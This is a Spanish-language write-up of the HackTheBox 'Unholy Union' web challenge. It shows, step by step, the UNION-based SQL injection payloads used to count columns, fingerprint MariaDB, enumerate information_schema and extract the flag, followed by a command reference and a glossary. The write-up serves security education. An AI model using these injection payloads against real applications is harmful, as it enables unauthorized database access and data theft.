Unholy Union

HackTheBox — Web Challenge · SQL Injection (UNION-Based) → Dump de información_schema → Flag

● VERY EASY HACKTHEBOX WEB SQL INJECTION MARIADB 📅 Junio 2026 · By Brandeiks

Resumen

Unholy Union es un reto de categoría Web de dificultad Very Easy en HackTheBox, diseñado específicamente para enseñar y practicar SQL Injection basada en UNION.

La aplicación, un falso "Haunted Inventory Manager", expone un campo de búsqueda que concatena directamente la entrada del usuario dentro de una consulta SELECT * FROM inventory sin ningún tipo de sanitización ni uso de consultas parametrizadas.

Tras determinar el número exacto de columnas de la consulta original con UNION SELECT, se utiliza ese mismo canal para consultar information_schema y mapear la base de datos completa: motor (MariaDB 10.11.8), nombre de la base de datos (halloween_invetory), tablas disponibles (inventory, flag) y sus columnas. Finalmente se inyecta una consulta directa sobre la tabla flag para obtener la flag del reto.

FaseTécnica / PayloadResultado
InspecciónBúsqueda normal en la barra de textoEndpoint devuelve un array JSON de items
Conteo de columnas' UNION SELECT 1,2,3,4,5-- -5 columnas confirmadas en la consulta original
FingerprintUNION SELECT 1,2,3,4,@@version-- -10.11.8-MariaDB
FingerprintUNION SELECT 1,2,3,4,database()-- -halloween_invetory
FingerprintUNION SELECT 1,2,3,4,user()-- -user@localhost
Enum. BDsinformation_schema.schematainformation_schema, test, halloween_invetory
Enum. tablasinformation_schema.tables WHERE table_schema=database()flag, inventory
Enum. columnasinformation_schema.columns WHERE table_name='flag'columna única: flag
ExtracciónUNION SELECT 1,2,3,4,flag FROM flag-- -HTB{un10n_1Nj3ct1on_15_345y_t0_l34rn_r1gh17?}

Inspección de la app

1
EXPLORANDO EL HAUNTED INVENTORY MANAGER

La aplicación web es un panel de temática de Halloween llamado "Haunted Inventory Manager", con un único campo de búsqueda que permite filtrar "objetos embrujados" del inventario. El panel de la derecha muestra el resultado en bruto en formato JSON, lo que confirma que el backend devuelve directamente filas de una tabla de base de datos.

SQL INPUT: SELECT * FROM inventory
 
SQL OUTPUT:
{
  "description": "A floating vehicle for all-terrain exploration.",
  "origin": "Planet Squanch",
  "created_at": "2026-06-21T05:25:42.000Z"
},
{
  "id": 10,
  "name": "Galactic Freight Ship",
  "description": "A massive ship used for transporting goods across galaxies.",
  "origin": "Alpha Centauri",
  "created_at": "2026-06-21T05:25:42.000Z"
}

// OBSERVACIÓN CLAVE

El panel "SQL Input" exhibe literalmente la consulta ejecutada en el backend: SELECT * FROM inventory. Esto sugiere fuertemente que el término de búsqueda se concatena directamente en una cláusula WHERE sin sanitizar, abriendo la puerta a una inyección SQL clásica.


Encontrando el UNION

2
DETERMINAR EL NÚMERO DE COLUMNAS

Antes de poder inyectar datos propios con UNION SELECT, es necesario que el número de columnas coincida exactamente con la consulta original. Se prueba con 5 valores enteros, cerrando la comilla de entrada y comentando el resto de la consulta con -- -:

PAYLOAD
' UNION SELECT 1,2,3,4,5-- -
IDNAMEDESCRIPTIONORIGINCREATED_AT
1PlumbusA highly useful multi-purpose tool.Planet Schlooch2026-06-21 05.25.42
12345

La consulta no devuelve error y la fila inyectada (1, 2, 3, 4, 5) aparece al final de la tabla de resultados — confirmando que la consulta original tiene exactamente 5 columnas. La quinta columna es la que se renderiza como texto libre, así que será el punto de inyección para extraer datos en los siguientes pasos.

3
FINGERPRINT DEL MOTOR DE BASE DE DATOS
PAYLOAD
' UNION SELECT 1,2,3,4,@@version-- -

La variable global @@version reemplaza al literal en la quinta columna, revelando la versión exacta del motor:

10.11.8-MariaDB

Enumeración de la Base de Datos

4
BASE DE DATOS ACTUAL Y USUARIO

Se identifican el contexto de ejecución actual con las funciones nativas database() y user():

PAYLOAD
' UNION SELECT 1,2,3,4,database()-- -
halloween_invetory
PAYLOAD
' UNION SELECT 1,2,3,4,user()-- -
user@localhost
5
LISTANDO TODAS LAS BASES DE DATOS

Se consulta information_schema.schemata, la tabla de metadatos que almacena el nombre de cada base de datos del servidor:

PAYLOAD
' UNION SELECT 1,2,3,4,schema_name FROM information_schema.schemata-- -
[-] Databases: information_schema, test, halloween_invetory
6
TABLAS DENTRO DE halloween_invetory

Con el nombre de la base de datos confirmado, se listan sus tablas filtrando por table_schema=database() (evita tener que escribir el nombre literal):

PAYLOAD
' UNION SELECT 1,2,3,4,table_name FROM information_schema.tables WHERE table_schema=database()-- -
[-] Tables: flag, inventory

// HALLAZGO

Además de la tabla esperada inventory, existe una tabla llamada flag — el objetivo final del reto.

7
COLUMNAS DE inventory Y flag

Se enumeran las columnas de cada tabla consultando information_schema.columns, filtrando por table_schema y table_name:

PAYLOAD
' UNION SELECT 1,2,3,4,column_name FROM information_schema.columns WHERE table_schema=database() AND table_name='inventory'-- -
[-] Columns [inventory]: id, name, description, origin, created_at
PAYLOAD
' UNION SELECT 1,2,3,4,column_name FROM information_schema.columns WHERE table_schema=database() AND table_name='flag'-- -
[-] Columns [flag]: flag

La tabla flag tiene una única columna, también llamada flag — todo listo para la extracción final.


Extracción de la Flag

8
CONSULTA DIRECTA A LA TABLA flag

Con la tabla y columna conocidas, basta con seleccionarla directamente en la quinta posición del UNION:

PAYLOAD
' UNION SELECT 1,2,3,4,flag FROM flag-- -
HTB{un10n_1Nj3ct1on_15_345y_t0_l34rn_r1gh17?}
FLAG
HTB{un10n_1Nj3ct1on_15_345y_t0_l34rn_r1gh17?}
9
BONUS — RECONSTRUYENDO LA CONSULTA ORIGINAL

A modo de verificación, se reconstruye la consulta original alineando cada nombre de columna real de inventory en lugar de los enteros de prueba, confirmando que el orden y los tipos de datos son compatibles:

PAYLOAD
' UNION SELECT id,name,description,origin,created_at FROM inventory-- -
10 filas devueltas — coinciden exactamente con el listado original del inventario, confirmando el mapeo correcto de columnas.

// LECCIÓN DEL RETO

Este challenge ilustra el flujo canónico de una UNION-Based SQL Injection: (1) cerrar el contexto de la consulta original, (2) calibrar el número de columnas con enteros de prueba, (3) usar esas posiciones para filtrar contra information_schema y mapear la base de datos completa, y (4) pivotar hacia la tabla objetivo. Ninguna herramienta automatizada (sqlmap) fue necesaria — todo se resolvió manualmente desde la barra de búsqueda.


Referencia de Comandos

UNION SELECT
' UNION SELECT col1,col2,...-- -
Combina los resultados de dos consultas SELECT en un único conjunto de resultados, siempre que ambas tengan el mismo número de columnas y tipos de datos compatibles.
  • -- - comenta el resto de la consulta original (sintaxis MySQL/MariaDB)
  • ' cierra la comilla simple abierta por la consulta vulnerable
@@version
SELECT @@version
Variable de sistema global de MySQL/MariaDB que devuelve la versión exacta del motor de base de datos en ejecución.
  • database() devuelve el nombre del esquema activo
  • user() devuelve usuario y host de la conexión actual
information_schema.tables
SELECT table_name FROM information_schema.tables WHERE table_schema=...
Tabla de metadatos que lista todas las tablas existentes en un esquema dado, sin necesidad de credenciales administrativas.
  • table_schema filtra por nombre de base de datos
information_schema.columns
SELECT column_name FROM information_schema.columns WHERE table_name=...
Tabla de metadatos que lista todas las columnas de una tabla específica, incluyendo su nombre exacto para construir consultas posteriores.
  • table_schema + table_name acotan la búsqueda a una tabla concreta

Glosario

SQL Injection (Inyección SQL)
Vulnerabilidad que ocurre cuando una aplicación concatena entrada del usuario directamente dentro de una consulta SQL sin sanitización ni uso de consultas parametrizadas. Permite a un atacante alterar la lógica de la consulta original para leer, modificar o eliminar datos arbitrarios.
UNION-Based SQL Injection
Técnica de explotación que aprovecha el operador UNION de SQL para combinar los resultados de una consulta maliciosa con los de la consulta original vulnerable, mostrando datos arbitrarios directamente en la respuesta de la aplicación — a diferencia de la inyección ciega, no requiere inferencia carácter por carácter.
information_schema
Base de datos especial presente en MySQL/MariaDB que contiene metadatos sobre todas las demás bases de datos del servidor: nombres de esquemas, tablas, columnas y tipos de datos. Es el primer objetivo de cualquier inyección SQL orientada a extracción de datos, ya que permite mapear la estructura completa antes de extraer contenido real.
Comentarios SQL (-- -)
En MySQL/MariaDB, la secuencia -- (doble guión seguido de un espacio) inicia un comentario de línea que descarta el resto de la consulta. Se añade un guión adicional (-- -) por convención para asegurar que exista un carácter después del espacio cuando algunos frameworks de URL recortan espacios finales.
Calibración de columnas (Column Count)
Primer paso obligatorio en toda UNION-Based SQLi: determinar cuántas columnas tiene la consulta SELECT original, ya sea mediante ORDER BY n incremental (hasta que falle) o probando UNION SELECT 1,2,3... con un número creciente de literales hasta que la consulta no produzca error y los valores de prueba aparezcan en la respuesta.
MariaDB
Sistema de gestión de bases de datos relacional, fork de código abierto de MySQL creado por sus desarrolladores originales tras la adquisición de MySQL por Oracle. Mantiene compatibilidad casi total con la sintaxis y el catálogo information_schema de MySQL.